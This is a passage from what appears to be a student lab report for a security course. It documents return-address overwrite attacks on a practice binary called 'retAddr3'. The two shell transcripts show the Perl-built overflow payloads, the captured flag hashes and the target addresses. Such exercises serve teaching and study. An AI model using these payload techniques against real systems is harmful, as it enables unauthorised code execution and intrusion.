merry@cs647:~$ ./retAddr3 $(perl -e 'print"A"x572 . "\xb2\x63\x55\x56"')
Here you go:
40dd8db024d3c115e9f1a345ead38b672bd7dfbd6322a210fc9ebb903aab38c6
124108bf370b6c94304e702cafed629327ac35e7ec6bbc08fe799c1a351544a5
Segmentation fault (core dumped)
merry@cs647:~$ whoami
merry
```

3.3 Percy Flores

Flag Contents

6b2bb6414dac9cb046826520175dd92ae1ddef2d3a75ebc0940c869a00a4a676

c6ca11790d156366263857ff2e9478fe6075067964781b16bb83c0d212ce102a

Screenshot

```
merry@ip-172-31-22-130:~$ ./retAddr3 $(perl -e 'print "A"x751 . "\xc2\x63\x55\x56"')
Here you go:
6b2bb6414dac9cb046826520175dd92ae1ddef2d3a75ebc0940c869a00a4a676
c6ca11790d156366263857ff2e9478fe6075067964781b16bb83c0d212ce102a
Segmentation fault (core dumped)
merry@ip-172-31-22-130:~$ whoami
merry
merry@ip-172-31-22-130:~$
```

4 References

Use this section to include any references you must cite in the report. For example, if you recommend mitigations not covered in the course, you should cite your references and list them here.

GF: 0x565563c2

S: 0xffffccb8 → 0xffffccb9

E: 0xffffcfd0